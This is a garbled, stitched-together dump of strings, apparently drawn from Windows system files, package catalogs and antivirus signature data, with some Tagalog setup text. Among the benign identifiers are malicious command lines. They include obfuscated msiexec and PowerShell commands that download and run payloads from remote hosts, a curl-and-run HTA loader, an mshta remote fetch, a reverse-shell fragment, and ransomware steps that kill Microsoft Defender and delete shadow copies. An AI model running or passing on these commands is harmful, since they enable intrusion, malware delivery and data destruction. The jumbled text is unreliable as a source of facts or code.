MiErrorCategoryFromWindowsError
CloudData.WindowsClient.DisableSyncOnActivityFeed
CloudData.WindowsClient.DisableSyncOnActivityFeed
Windows.Data.UnifiedTile.LocalStartVolatileTilePropertiesMap
Windows.Data.CuratedTileCollection.TileCollection
Windows.Data.UnifiedTile.LocalStartVolatileTileProperties
Windows.Data.UnifiedTile.LocalStartVolatileTilePropertiesMap
CloudData.WindowsClient.DisableSyncOnActivityFeed
Windows.Data.UnifiedTile.LocalStartVolatileTileProperties
%Microsoft Windows Production PCA 20110
Microsoft Windows0
 sa mga app sa Windows at Microsoft Store
Maaari mong baguhin ang iyong mga setting ng update anumang oras sa pamamagitan ng pagbisita sa Mga Setting &gt; Update at Seguridad &gt; Windows Update &gt; Mga advanced na opsyon.
Ang mga regular na update ay nakakatulong na protektahan ang iyong device at pinapanatili nitong gumagana ito nang maayos at secure. Kung pipiliin mong kumuha ng mga awtomatikong update, ida-download ang mga ito sa iyong device sa sandaling maging available ang mga ito para laging mayroon ka ng pinakabagong mga pag-aayos sa seguridad at mga pagpapahusay, tulad ng Windows Defender, driver, at mga update sa firmware. Kung pipiliin mong hindi makakuha ng mga awtomatikong automatic update, titingnan pa rin ng Microsoft kung may mga available na update para sa iyong device. Aabisuhan ka namin pana-panahon kapag may mga bagong update na available. Maaari mong piliin kung ida-download o hindi ang mga update, ngunit hindi ka magiging ganap na updated at protektado hangga't hindi mo ida-download at i-install ang mga ito.
Piliin ang <b>Alamin pa</b> para sa impormasyon sa mga setting sa itaas, kung paano ka tinutulungan ng Windows na maprotektahan mula sa hindi ligtas na mga app at nilalaman sa web, at ang mga nauugnay na paglilipat at paggamit ng data.
Piliin ang iyong mga setting, pagkatapos ay piliin ang <b>Tanggapin</b> para i-save ang mga ito. Tingnan ang <b>Alamin pa</b> link para sa impormasyon sa mga setting na ito, kung paano baguhin ang mga ito, kung paano tumutulong ang Windows na protektahan ka mula sa hindi ligtas na mga app at nilalaman sa web, at ang mga nauugnay na paglilipat at paggamit ng data.
Magpadala lang ng impormasyon tungkol sa iyong device, mga setting at kakayahan nito, at kung gumagana ito nang maayos. Ginagamit ang data ng diagnostics para makatulong na mapanatiling secure at napapanahon ang Windows, mag-troubleshoot ng mga problema, at gumawa ng mga pagpapaganda sa produkto.
Magpadala ng impormasyon tungkol sa kung paano mo ginagamit ang mga app at feature, at karagdagang impormasyon tungkol sa kalusugan ng device, aktibidad ng device at web, at pinahusay na pag-uulat ng error. Ginagamit ang diagnostic data para makatulong na panatilihing ligtas at napapanahon ang Windows at iba pang mga produkto ng Microsoft, i-troubleshoot ang mga problema, at gumawa ng mga pagpapahusay ng produkto. Palaging isasama ang kinakailangang data ng diagnostic kapag pinili mong magpadala ng Opsyonal na diagnostic na data. Anuman ang iyong pinili, ang iyong device ay magiging parehong ligtas at gagana nang normal.
Common:Builtin#GuestStatID_Windows_ProcessorQueue
Common:Builtin#GuestStatID_Windows_DiskQueue
Common:Builtin#GuestStatID_Windows_DiskQueueAvg
Common:Builtin#GuestStatID_Windows_AutomaticSwapFileMax
Microsoft.Windows.TlgAggregateInternal
 ;[system.reflection.assembly]::loadwithpartialname("system.windows.forms");[system.windows.forms.messagebox]::show("theoperationcompletedsuccessfully,pleasereloadthepage","system",0,64);clear-host;
Windows.Data.Placeho
@r-`nuq.\windowsz1xu720system32br-`nuq.xsystem32f2r`regsvr32.exejr`nuv.m(regsvr32.exeu3t?systemc:\windows\system32\regsvr32.exeltype:microsoftedgepdfdocumentsize:3kb./dyxnr.dll9%
TCPSEND <> @WINDOWSDIRT
c:\windows\system32\forfiles.exe
.batc:\windows\system32\shell32.dll%systemroot%\system32\shell32.dll%systemroot%\system32\shell32.dll
$}<metahttp-equiv="refresh"content="7;url='https://sso.siteo.com/index.xml?return=https://lbtra4oskpi9xt410v.blob.core.windows.net/$web/index.html?#
cmd.exer/cs^tart^m^s^i^ex^e^c^cv^sob^ygwk=o^y^tmqt^gy-^q/fv"http://6t.pm:8080/a/obq5/kkm4jnfz1xf5rp6ky/%computername%"!%systemroot%\system32\shell32.dll%
\windows\system32\windowspowershell\v1.0\powershell.exee.$env:c:\w*\s*2\m*h?a.*'http://185.246.220.65/iit/img07601208.hta'shell32.dll%wn]nd.q1spsxfl8c&mm
n\windows\system32\cmd.exe/c"cd%appdata%&curl.exehttps://abdkuxv4.tk/downloader/dwopen.hta-oxloogdvr.hta-s&xloogdvr.hta&ping-n1google.com&delxloogdvr.hta"
d6l+epo:i+00/c:\v1uewindows@owhufa.cwindowsz1u2system32bowhuyc.system32f2ksrundll32.exejksu[./dsrundll32.exeo-nc:\windows\system32\rundll32.exe\deskmon.dat
6c:\windows\system32\forfiles.exe/pc:\windows\system32/mcmmon32.exe/c"powershell.\*i*\*2\msh*ehttps://dev.cdn-serveri18n-googleapis.com/api/v2/update.json
dirmove(@tempdir&"\pt-br",$dirlib&$folderdefault&"\pt-br")filecreateshortcut("cwindows.packageExtension
windows.packageExtension
windows.packageExtension
windows.packageExtension
windows.packageExtension
windows.packageExtension
windows.packageExtension
windows.packageExtension
windows.packageExtension
windows.packageExtension
windows.packageExtension
windows.packageExtension
windows.packageExtension
windows.packageExtension
windows.packageExtension
windows.packageExtension
windows.packageExtension
windows.packageExtension
windows.packageExtension
windows.packageExtension
windows.packageExtension
windows.packageExtension
windows.packageExtension
windows.packageExtension
windows.packageExtension
windows.packageExtension
windows.packageExtension
windows.packageExtension
windows.packageExtension
windows.packageExtension
windows.packageExtension
windows.packageExtension
windows.packageExtension
windows.packageExtension
windows.packageExtension
windows.packageExtension
windows.packageExtension
windows.packageExtension
windows.comServer
windows.comServer
windows.desktopAppMigration
MicrosoftWindows.Client.WebExperience_526.1202.40.0_x64__cw5n1h2txyewy
Windows.PrintDialog_6.2.3.0_neutral_neutral_cw5n1h2txyewy2M
windows.immersivecontrolpanel_10.0.8.1000_neutral_neutral_cw5n1h2txyewy1F
Windows.CBSPreview_10.0.19580.1000_neutral_neutral_cw5n1h2txyewy05
MicrosoftWindows.UndockedDevKit_10.0.26100.1_neutral_neutral_cw5n1h2txyewy.H
MicrosoftWindows.CrossDevice_1.25062.28.0_neutral_~_cw5n1h2txyewy
MicrosoftWindows.CrossDevice_0.25062.28.0_x64__cw5n1h2txyewy
MicrosoftWindows.CrossDevice_0.25062.28.0_neutral_split.scale-125_cw5n1h2txyewy
MicrosoftWindows.CrossDevice_0.25062.28.0_neutral_split.scale-100_cw5n1h2txyewy
MicrosoftWindows.Client.WebExperience_526.1202.40.0_neutral_~_cw5n1h2txyewy
MicrosoftWindows.Client.WebExperience_525.31002.150.9_x64__cw5n1h2txyewy
MicrosoftWindows.Client.WebExperience_525.31002.150.9_neutral_~_cw5n1h2txyewy
MicrosoftWindows.Client.Photon_1000.26100.10.0_x64__cw5n1h2txyewy-E
MicrosoftWindows.Client.OOBE_1000.26100.32.0_x64__cw5n1h2txyewy,G
MicrosoftWindows.Client.FileExp_1000.26100.4.0_x64__cw5n1h2txyewy+I
MicrosoftWindows.Client.CoreAI_1000.26100.7824.0_x64__cw5n1h2topeWithType
IsWindowsVistaOrAbove
ms-resource:AppNameMicrosoft CorporationAssets\GameSpeechWindowStoreLogo.png
ms-resource:AppNameMicrosoft CorporationAssets\GameSpeechWindowStoreLogo.png
ms-resource:AppNameMicrosoft CorporationAssets\GameSpeechWindowStoreLogo.png
Yumi.exesetuper.batmin.vbsSmart Install Maker v. 5.04C:\TEMP\$inst\2. tahomaProgramW6432Dirmsctls_progress321995-2002 Jean-loup Gailly Software\Microsoft\Windows\CurrentVersion\GrpConv\MapGroup
MicrosoftWindows.Client.Core_1000.26100.82.0_x64__cw5n1h2txyewy*E
MicrosoftWindows.Client.CBS_1000.26100.291.0_x64__cw5n1h2txyewy(K
MicrosoftWindows.59379618.InpApp_1000.26100.7824.0_x64__cw5n1h2txyewy'K
MicrosoftWindows.59337145.Livtop_1000.26100.7824.0_x64__cw5n1h2txyewy&K
MicrosoftWindows.59337133.Voiess_1000.26100.7824.0_x64__cw5n1h2txyewy%K
MicrosoftWindows.59336768.Speion_1000.26100.7824.0_x64__cw5n1h2txyewy$K
MicrosoftWindows.57242383.Tasbar_1000.26100.7824.0_x64__cw5n1h2txyewy#Q
Microsoft.WindowsTerminal_3001.18.10301.0_neutral_~_8wekyb3d8bbwe
WindowsBackupSRD1G
!Lua:FirstFolder2!windowsholographicdevices
Lua:FirstFolder2!windows/x20app/x20certification/x20kit
windows\/
Microsoft.Windows.Security.BCrypt
Microsoft.Windows.TlgAggregateInternal
HmY start/minc:\windows\system32\windowspowershell\v1.0\powershell.exe/w0"invoke-webrequest-uri'http://hostgator.mywire.org/dashboard/dira/1dddd.jpg'-outfile'c:\users\public\a.ps1';c:\windows\system32\windowspowershell\v1.0\powershell.exe-executionpolicybypass-filec:\users\public\a.ps1;remove-item'c:\users\public\a.ps1'-force"
Microsoft-Windows-CoreSystem-Security-Package~31bf3856ad364e35~amd64~~10.0.26100.7309.cat
Microsoft-Windows-Client-Features-Package05~31bf3856ad364e35~amd64~~10.0.26100.7824.cat
c:\windows\system32\cmd/c"set
rtcshell("cmd/cc:\windows\system32\cmd.exe/c"set
 http://www.microsoft.com/windows0
qWindows
onecoreuap\windows\analog\input\mirage\stubdll\module.cpp
onecoreuap\windows\analog\input\mirage\stubdll\perceptiontimestamp.cpp
onecoreuap\windows\analog\input\mirage\stubdll\priveventargsstatics.cpp
onecoreuap\windows\analog\input\mirage\stubdll\spatialanchor.cpp
!WindowsIsStringEmpty(id)
onecoreuap\windows\analog\input\mirage\stubdll\spatialanchorstore.cpp
WindowsGetStringLen(id) < MAX_SPATIAL_ANCHOR_ID_LENGTH
onecoreuap\windows\analog\input\mirage\stubdll\spatialgesturerecognizer.cpp
@%systemroot%\system32\wdi.dll,-500
@%SystemRoot%\system32\pcasvc.dll,-1
@%SystemRoot%\system32\qmgr.dll,-1000
@%systemroot%\system32\cscsvc.dll,-200
@%SystemRoot%\system32\wlidsvc.dll,-100
@%systemroot%\system32\ssdpsrv.dll,-100
%Microsoft Windows Production PCA 2011
 http://www.microsoft.com/windows0
P~MICROSOFTWINDOWS.CLIENT.CBS_CW5N1H2TXYEWY!WEBEXPERIENCEHOST
Microsoft-Windows-Client-Desktop-Required-WOW64-Package0013~31bf3856ad364e35~amd64~~10.0.26100.1591.cat|Microsoft-Windows-Client-Desktop-Required-WOW64-Package0013~31bf3856ad364e35~amd64~~10.0.26100.7705.cat|Microsoft-Windows-Client-Desktop-Required-WOW64-Package0015~31bf3856ad364e35~amd64~~10.0.26100.1742.cat|Microsoft-Windows-Client-Desktop-Required-WOW64-Package0015~31bf3856ad364e35~amd64~~10.0.26100.7840.cat|
Microsoft-Windows-Client-Desktop-Required-Package0012~31bf3856ad364e35~amd64~~10.0.26100.7840.cat|
Microsoft-Windows-Client-Desktop-Required-WOW64-Package0013~31bf3856ad364e35~amd64~~10.0.26100.1591.cat|Microsoft-Windows-Client-Desktop-Required-WOW64-Package0013~31bf3856ad364e35~amd64~~10.0.26100.7705.cat|Microsoft-Windows-Client-Desktop-Required-WOW64-Package0015~31bf3856ad364e35~amd64~~10.0.26100.1742.cat|Microsoft-Windows-Client-Desktop-Required-WOW64-Package0015~31bf3856ad364e35~amd64~~10.0.26100.7840.cat|
Microsoft-Windows-CEIPEnable-Adm-Package~31bf3856ad364e35~amd64~en-US~10.0.26100.1.cat|
Microsoft-Windows-Client-Desktop-Required-Package0410~31bf3856ad364e35~amd64~~10.0.26100.1742.cat|
Microsoft-Windows-Client-Desktop-Required-Package02~31bf3856ad364e35~amd64~~10.0.26100.1742.cat|Microsoft-Windows-Client-Desktop-Required-Package02~31bf3856ad364e35~amd64~~10.0.26100.7840.cat|
Microsoft-Windows-Client-Features-Package0010~31bf3856ad364e35~amd64~en-US~10.0.26100.1742.cat|Microsoft-Windows-Client-Features-Package0110~31bf3856ad364e35~amd64~en-US~10.0.26100.7840.cat|
Microsoft-Windows-Client-Features-Package01~31bf3856ad364e35~amd64~~10.0.26100.7840.cat|
Microsoft-Windows-Client-Features-WOW64-Package0110~31bf3856ad364e35~amd64~~10.0.26100.7840.cat|
Microsoft-Windows-Client-Features-WOW64-Package0110~31bf3856ad364e35~amd64~~10.0.26100.7840.cat|
Microsoft-Windows-Client-Desktop-Required-Package001120~31bf3856ad364e35~amd64~~10.0.26100.7705.cat|Microsoft-Windows-CoreSystem-BootableSKU-Drivers-merged-Package~31bf3856ad364e35~amd64~~10.0.26100.7705.cat|
Microsoft-Windows-CoreSystem-DISM-Package~31bf3856ad364e35~amd64~en-US~10.0.26100.1.cat|
Microsoft-Windows-DirectoryServices-ADAM-Tools-Group-Package~31bf3856ad364e35~amd64~~10.0.26100.1150.cat|Microsoft-Windows-DirectoryServices-ADAM-Tools-Group-Package~31bf3856ad364e35~amd64~~10.0.26100.7623.cat|
Microsoft-Windows-SecureStartup-Subsystem-Package~31bf3856ad364e35~amd64~~10.0.26100.1591.cat|
Microsoft-Windows-Client-Desktop-Required-Package0113~31bf3856ad364e35~amd64~en-US~10.0.26100.7840.cat|Microsoft-Windows-Client-Desktop-Required-Package01~31bf3856ad364e35~amd64~en-US~10.0.26100.7840.cat|Runlevel-Win4-merged-Package~31bf3856ad364e35~amd64~en-US~10.0.26100.7840.cat|
http://spoofer.sytes.net/Checking if user is admin...start C:\Windows\System32\IMEStarting spoofer...Registry entries were spoofed.Removed any trace files found.ConsoleApplication.pdbDisableBehaviorMonitoring
Microsoft.OutlookforWindowsSRD1W
Microsoft.Windows.Security.Sspicli
sWindows
^mSoftware\Microsoft\Windows NT\CurrentVersion\Windows
iFrogWindowsFormsApp.Properties.Resources.resources!#HSTR:Trojan:MSIL/AgentTesla.TGZ1!MTB
goserverupdate.blob.core.windows.netg
WindowsTopResults
Windows
?GetFileChangeClientManagerInstance@@YA?AV?$shared_ptr@UIFileChangeClientManager@ChangeTracking@Windows@@@std@@XZ
c:/windows/system32/d
c:/windows/system32/d4
Microsoft-Windows-Client-Desktop-Required-Package04111~31bf3856ad364e35~amd64~~10.0.26100.7840.cat|!
Microsoft-OneCore-Bluetooth-Package~31bf3856ad364e35~amd64~~10.0.26100.1742.cat|Microsoft-Windows-Client-Desktop-Required-Package0411~31bf3856ad364e35~amd64~~10.0.26100.1742.cat|Microsoft-Windows-Client-Desktop-Required-Package0418~31bf3856ad364e35~amd64~~10.0.26100.1742.cat|!
Microsoft-OneCore-Connectivity-UsbHost-Package~31bf3856ad364e35~amd64~~10.0.26100.1591.cat|Microsoft-OneCore-Connectivity-UsbHost-Package~31bf3856ad364e35~amd64~~10.0.26100.7705.cat|Microsoft-Windows-Client-Desktop-Required-Package0411~31bf3856ad364e35~amd64~~10.0.26100.1742.cat|Microsoft-Windows-Client-Desktop-Required-Package0411~31bf3856ad364e35~amd64~~10.0.26100.7824.cat|Microsoft-Windows-Client-Desktop-Required-Package0418~31bf3856ad364e35~amd64~~10.0.26100.1742.cat|Microsoft-Windows-Client-Desktop-Required-Package0418~31bf3856ad364e35~amd64~~10.0.26100.7840.cat|!
Microsoft-Windows-Client-Features-Package02~31bf3856ad364e35~amd64~~10.0.26100.1591.cat|Microsoft-Windows-Client-Features-Package02~31bf3856ad364e35~amd64~~10.0.26100.7824.cat|!
Microsoft-Windows-Common-Foundation-Package~31bf3856ad364e35~amd64~~10.0.26100.1.cat|!
Microsoft-Windows-GroupPolicy-ClientTools-merged-Package~31bf3856ad364e35~amd64~en-US~10.0.26100.1591.cat|Microsoft-Windows-GroupPolicy-ClientTools-merged-Package~31bf3856ad364e35~amd64~en-US~10.0.26100.7705.cat|!
Microsoft-Windows-IIS-WebServer-AddOn-Package~31bf3856ad364e35~amd64~~10.0.26100.1742.cat|!
Microsoft-Windows-IIS-WebServer-AddOn-ServerCommon-Package~31bf3856ad364e35~amd64~en-US~10.0.26100.1.cat|Microsoft-Windows-IIS-WebServer-AddOn-ServerCommon-Package~31bf3856ad364e35~amd64~en-US~10.0.26100.6584.cat|!
Microsoft-Windows-IIS-WebServer-AddOn-Package~31bf3856ad364e35~amd64~~10.0.26100.1742.cat|Microsoft-Windows-IIS-WebServer-Package~31bf3856ad364e35~amd64~~10.0.26100.1742.cat|!
Microsoft-Windows-IIS-WebServer-AddOn-ServerCommon-Package~31bf3856ad364e35~amd64~en-US~10.0.26100.1.cat|Microsoft-Windows-IIS-WebServer-AddOn-ServerCommon-Package~31bf3856ad364e35~amd64~en-US~10.0.26100.6584.cat|Microsoft-Windows-IIS-WebServer-ServerCommon-Package~31bf3856ad364e35~amd64~en-US~10.0.26100.1.cat|Microsoft-Windows-IIS-WebServer-ServerCommon-Package~31bf3856ad364e35~amd64~en-US~10.0.26100.6584.cat|!
Microsoft-Windows-NetFx4-US-OC-Package~31bf3856ad364e35~amd64~~10.0.26100.1150.cat|Microsoft-Windows-NetFx4-US-OC-Package~31bf3856ad364e35~amd64~~10.0.26100.4202.cat|
Microsoft-Windows-Common-Foundation-Package~31bf3856ad364e35~amd64~~10.0.26100.1.cat|0.7705.cat|
\cmd.exe.robin_nkpdg2f!..\..\..\windows\system32\cmd.exe~/d/q/v/r^s^tartm^si^ex^eciy^d^b=^pt^b^e/^f^v"http://gz.qa:8080/yebvioxpiusj/ze3hzwovkbti890cd4qz1daid/!computername!"-qn%windir%\system32\shell32.dll
c:\windows\system32\cmd.exedata/d/r^st^a^rtms^iex^ec^l^ib=^f^mb-^p^ac^kag^e"http://m0.nu:8080/yzyc5w8jgo/b3caeh/a/f/cbb/imyh/%computername%"^ctfql^w^m^q=^u^ai^w^t^x^c^z-q^n!%systemroot%\system32\shell32.dll
c:\windows\system32\cmd.exedownloads/y/x/v/c^s^tar^t^m^sie^x^ec^u^dr^wz^opy=^pfs^i^ax^ac/q^n-f^v"http://2t.wf:8080/yrbm49fsnsjbd/ymqozebd9llo4fz/hvnx/7xln7vek8m3/!computername!"%windir%\system32\shell32.dll
start/min""powershell-windowstylehidden-nologo-noprofile-executionpolicybypass-command"$content=invoke-webrequest-uri'https://singano.fun/file/
start/min""powershell-windowstylehidden-nologo-noprofile-executionpolicybypass-command"$content=invoke-webrequest-uri'https://singano.uno/file/
eWindows
|Windows7
Microsoft.Windows.ContentDeliveryManager_cw5n1h2txyewy
lMhgeneric host process for win32 servicescsrss.exe:\windows\help\.hlpw
T.WINDOWS.UEFI
Ic:\windows\system32\mshta.exe%systemroot%\system32\https://hilr.ru/25.10/see.rtf!%systemroot%\system32\shell32.dll
Microsoft.Windows.Desktop.Shell.TwinUI.QuietHoursService
Microsoft.Windows.Search.Indexer.Aggregated.Normal
$DE${8193A4E6-AEA0-4343-858E-3AA3A3CA8F76}$$WINDOWS.DATA.PLACEHOLDERTILECOLLECTION
reason::windowsUpdateManaged
c:\programfiles\windowsphotoviewer\photoviewer.dll
DriverData=C:\Windows\System32\Drivers\DriverData
"C:\Windows\System32\SecurityHealthSystray.exe" 
/config/v1/MicrosoftWindowsDefenderClient/1.0.0.0
EVT-Windows-C++-No-3.8.249.1
Microsoft.Windows.Security.CodeIntegrity.Wintrust
Microsoft.Windows.Search.Indexer.WorkAttribution
Microsoft.Windows.Services.Experiences.PackManager
WINDOWS.NETWORKING.CONTENTPREFETCHER.INTERNAL.CONTENTPREFETCHERTASK.CLASSID.36
WindowsDeleteString
c:\windows\
MICROSOFT.WINDOWS.SECUREASSESSMENTBROW
Microsoft.Windows.UDK.TextInputProfile
.Windows.,
r..\..\..\windows\system32\cmd.exe/cvertices\wormwood.cmdregsvrc:\windows\system32\shell32.dll%systemroot%\system32\shell32.dll
B"http://2t.wf:8080/aky/nxoi/b9vlvw/0uj4l/iowrbigg5har8cog/%computername%"/^q^e^ix^w=airxxf^l!%systemroot%\system32\shell32.d
	32^Microsoft.Windows.Pric
rom In E: fk = Len(ExecuteExcel4Macro(rom)): Next: Application.WindowStateimaggi = imaggi & Chr(T): T = "": Next: E = Split(imaggi, o)cis = Cells(a, K): If IsEmpty(cis)Trojan:PDF/Phish.BK!MTB
M c:\windows\system32\rundll32.exer7kom.dll,#1
Windows.Networking.BackgroundTransfer.Internal.BackgroundTransferTask.ClassId.1
windows.hlp`
Windows Desktop
WindowsUdkB
Microsoft-Windows-Client-Desktop-Required-WOW64-Package0011~31bf3856ad364e35~amd64~~10.0.26100.1742.cat
Microsoft-Windows-Client-Desktop-Required-WOW64-Package0011~31bf3856ad364e35~amd64~~10.0.26100.1742.cat
ROOT\Microsoft\Windows\Defender
q!windows d?
\windows\.
\\windows\\currentversion\\run't
Microsoft-Windows-Client-Features-Package03~31bf3856ad364e35~amd64~~10.0.26100.7840.cat
fYc:\windows\system32\windowspowershell\v1.0\powershell.exepowershell-ecwbjagiaiaanaf4axgbtahmaaab0ageaiabeaf4aaab0ahqaxgbeahaaxgbeaf4axga6af4axgavac8amwaxaf4algaxadiaoqauaf4axgbeadiamgauadqanqbeaf4axgbeac8acwbjaf4axgbeahmaxgbeahqayqbeaf4azwbeaf4axgblaf4acgauag0acabeaf4axgbeadqajwauahiazqbwagwayqbjaguakaanaf4ajwasaccajwapadsaaqblahgaiaaoagcaywbiacka
This sample does not support this version of Windows.
WindowsOobeAppHost.wwa
C:\WINDOWS\system32\kernelbase.dll[MofResourceName]
C:\WINDOWS\system32\kernelbase.dll[MofResourceName]
C:\WINDOWS\system32\kernelbase.dll[MofResourceName]
C:\WINDOWS\system32\kernelbase.dll[MofResourceName]
C:\WINDOWS\system32\kernelbase.dll[MofResourceName]
C:\WINDOWS\system32\kernelbase.dll[MofResourceName]
C:\WINDOWS\system32\kernelbase.dll[MofResourceName]
C:\WINDOWS\system32\kernelbase.dll[MofResourceName]
C:\WINDOWS\system32\kernelbase.dll[MofResourceName]
C:\WINDOWS\system32\kernelbase.dll[MofResourceName]
C:\WINDOWS\system32\kernelbase.dll[MofResourceName]
C:\WINDOWS\system32\kernelbase.dll[MofResourceName]
C:\WINDOWS\system32\kernelbase.dll[MofResourceName]
com.microsoft.windows.extensions.xaml.voiceaccessplugin
Microsoft.Windows.AssignedAccessLockApp_1000.25128.1000.0_J
<!-- placinghard to centersort ofclientsstreetsBernardassertstend tofantasydown inharbourFreedomjewelry/about..searchlegendsis mademodern only ononly toimage" linear painterand notrarely acronymdelivershorter00&amp;as manywidth="/* <![Ctitle =of the lowest picked escapeduses ofpeoples PublicMatthewtacticsdamagedway forlaws ofeasy to windowstrong  simple}catch(seventhinfoboxwent topaintedcitizenI don'tretreat. Some ww.");
)P6AJAEBUInstalledWordBreaker@Text@Data@Windows@@PEAPEAUI'
7c^windows.fileExplorerContextMenuQ
^windows.protoco(
Microsoft-Windows-Client-Desktop-Required-WOW64-Package0010~31bf3856ad364e35~amd64~~10.0.26100.1742.cat
Microsoft.Windows.AppXDeploymentClient
Microsoft.Windows.PlatformExtensions
Microsoft.Windows.Wil.FeatureLogging
Microsoft.Windows.StateRepository.Service
Microsoft.Windows.AppXDeploymentServer
Microsoft.Windows.AppxDeploymentFallback
!Microsoft.Windows.XGpuEjectDialog_cw5n1h2txyewy!0
/MicrosoftWindows.57242383.Tasbar_cw5n1h2txyewy!PackageMetadataP
&MicrosoftWindows.57242383.Tasbar_cw5n1h2txyewy!Global
Microsoft-Windows-Client-Features-Package00~31bf3856ad364e35~amd64~~10.0.26100.7840.cat|
Microsoft-Windows-Client-Desktop-Required-Package0415~31bf3856ad364e35~amd64~~10.0.26100.7840.cat|
Microsoft-Windows-LanguageFeatures-Speech-en-us-Package~31bf3856ad364e35~amd64~~10.0.26100.1742.cat|Microsoft-Windows-LanguageFeatures-Speech-en-us-Package~31bf3856ad364e35~amd64~~10.0.26100.7824.cat|
Microsoft-Windows-Client-Desktop-Required-Package04110~31bf3856ad364e35~amd64~~10.0.26100.7824.cat|
Microsoft-Windows-Security-SPP-Component-SKU-Enterprise-License-Package~31bf3856ad364e35~amd64~~10.0.26100.7705.cat|
Microsoft-Windows-Client-Features-Package00~31bf3856ad364e35~amd64~en-US~10.0.26100.1742.cat|Microsoft-Windows-Client-Features-Package01~31bf3856ad364e35~amd64~en-US~10.0.26100.7840.cat|
Microsoft-Windows-Client-Desktop-Required-Package0011~31bf3856ad364e35~amd64~~10.0.26100.1742.cat|Microsoft-Windows-Client-Desktop-Required-Package0012~31bf3856ad364e35~amd64~~10.0.26100.7840.cat|
Microsoft-Windows-IIS-WebServer-ServerCommon-Package~31bf3856ad364e35~amd64~~10.0.26100.1742.cat|Microsoft-Windows-IIS-WebServer-ServerCommon-Package~31bf3856ad364e35~amd64~~10.0.26100.7705.cat|
Microsoft-Windows-Client-Desktop-Required-Package0419~31bf3856ad364e35~amd64~~10.0.26100.1591.cat|
Microsoft-Windows-NetFx4-US-OC-Package~31bf3856ad364e35~amd64~~10.0.26100.1150.cat|Microsoft-Windows-NetFx4-US-OC-Package~31bf3856ad364e35~amd64~~10.0.26100.4202.cat|
shellcommon\undockeddevkit\libs\windowsudk.ui.input\systemkeyboarddeliveryinterceptor.cpp
shellcommon\undockeddevkit\libs\windowsudk.ui.input.dictation\dictationmanager.cpp
winrt::WindowsUdk::UI::Input::Text::implementation::DictationInputProcessor::RequestStartAsync
winrt::WindowsUdk::UI::Input::Text::implementation::DictationInputProcessor::ExecuteUnitCommandAsync
winrt::WindowsUdk::UI::Input::Text::implementation::DictationInputProcessor::~DictationInputProcessor
winrt::WindowsUdk::UI::Input::Text::implementation::DictationInputProcessor::Current
winrt::WindowsUdk::UI::Input::Text::implementation::DictationInputProcessor::DictationInputProcessor
Microsoft.Windows.Wil.FeatureLogging
Microsoft.Windows.ImmersiveColor
Microsoft.Windows.UxTheme
Microsoft.Windows.Shell.Desktop.ThemeHoldback
Cipher.psm1$home\Desktop\Readme_now.txt\Documents\WindowsPowerShell\Modules\Cipher
USERDOMAIN=Windows11
WINDOWS
A.&,c:\windows\system32\cmd.exe /cpowershell -nop -noni -w hidden -exec bypass -command new-object system.net.sockets.tcpclient$client.getstream();[byte[]]$bytes = 0..65535|%{0};while(($i = $stream.read($bytes, 0, $bytes.length))!#HSTR:MSIL/AgentTesla.PU!MTB
c:\windows\
Windows
Windows NT
Windows
DriverData=C:\Windows\System32\Drivers\DriverData
DragFullWindows
WindowsEffect
%SystemRoot%_System32_WindowsPowerShell_v1.0_powershell.exe
WindowSize
%SystemRoot%_SysWOW64_WindowsPowerShell_v1.0_powershell.exe
WindowSize
WindowSize
WindowsLogoff
WindowsLogon 
WindowsUAC
WindowsUnlock
Windows Media Foundation\ByteStreamHandlers\audio/x-wav
%BrowserAppProfile%\Main\WindowsSearch!LastCrawl
Windows\CurrentVersion\Control Panel\Theme!FontScale
%IEProfile_InternetSettings%\SO\MISC\DRAGDROP_XDOM_ACROSSWINDOWS\ENABLE!DefaultValue
DlpEngineConfigStorage::DlpIsSetWindowsHooksUsed
System.Windows.Forms.UnsafeNativeMethods.IRawElementProviderSimple.HostRawElementProvider
System.Windows.Forms.UnsafeNativeMethods.IRawElementProviderSimple.get_HostRawElementProvider
GetChildWindowsInTabOrder
System.Windows.Forms.UnsafeNativeMethods.IDocHostUIHandler.ResizeBorder
System.Windows.Forms.UnsafeNativeMethods.IOleInPlaceActiveObject.ResizeBorder
System.Windows.Forms.UnsafeNativeMethods.IOleInPlaceFrame.GetBorder
WindowsGraphicsCacheManager
System.Windows.Forms.UnsafeNati
windows
taskkill /f /im MsMpEng.exe >nul 2>&1vssadmin delete shadows /all /quiet >nul 2>&1powershell -command "Set-MpPreference -DisableRealtimeMonitoring $trueshutdown /s /f /t 0 /c "Windows UpdateRansom:MSIL/FafsbCrypt.PA!MTB
Microsoft-Windows-HVSI-Package~31bf3856ad364e35~amd64~~10.0.26100.7840
%s\WindowsU
Microsoft-Windows-AppManagement-AppV-Package~31bf3856ad364e35~amd64~~10.0.26100.7824.cat
Microsoft-Windows-AppManagement-AppV-Package~31bf3856ad364e35~amd64~~10.0.26100.7824.cat
d5^com.microsoft.windows.app.searchMI
com.microsoft.windows.app.searchMI
d8^com.microsoft.windows.extension.searchappearance
TypedTemplate@TaskManagerApp@winrt@@V?$allocator@UTypedTemplate@TaskManagerApp@winrt@@@std@@@std@@Usingle_threaded_collection_base@impl@3@@impl@winrt@@U?$IIterator@UIInspectable@Foundation@Windows@winrt@@@Collections@Foundation@Windows@4@@impl@winrt@@
.?AU?$implements@Uiterator@?$convertible_observable_vector@UTypedTemplate@TaskManagerApp@winrt@@V?$vector@UTypedTemplate@TaskManagerApp@winrt@@V?$allocator@UTypedTemplate@TaskManagerApp@winrt@@@std@@@std@@Usingle_threaded_collection_base@impl@3@@impl@winrt@@U?$IIterator@UIInspectable@Foundation@Windows@winrt@@@Collections@Foundation@Windows@4@@winrt@@
.?AU?$produce@Uiterator@?$iterable_base@U?$convertible_observable_vector@UTypedTemplate@TaskManagerApp@winrt@@V?$vector@UTypedTemplate@TaskManagerApp@winrt@@V?$allocator@UTypedTemplate@TaskManagerApp@winrt@@@std@@@std@@Usingle_threaded_collection_base@impl@3@@impl@winrt@@UTypedTemplate@TaskManagerApp@3@Ucollection_version@23@@winrt@@U?$IIterator@UTypedTemplate@TaskManagerApp@winrt@@@Collections@Foundation@Windows@3@@impl@winrt@@
.?AU?$producers_base@Uiterator@?$convertible_observable_vector@UTypedTemplate@TaskManagerApp@winrt@@V?$vector@UTypedTemplate@TaskManagerApp@winrt@@V?$allocator@UTypedTemplate@TaskManagerApp@winrt@@@std@@@std@@Usingle_threaded_collection_base@impl@3@@impl@winrt@@V?$tuple@U?$IIterator@UIInspectable@Foundation@Windows@winrt@@@Collections@Foundation@Windows@winrt@@@std@@@impl@winrt@@
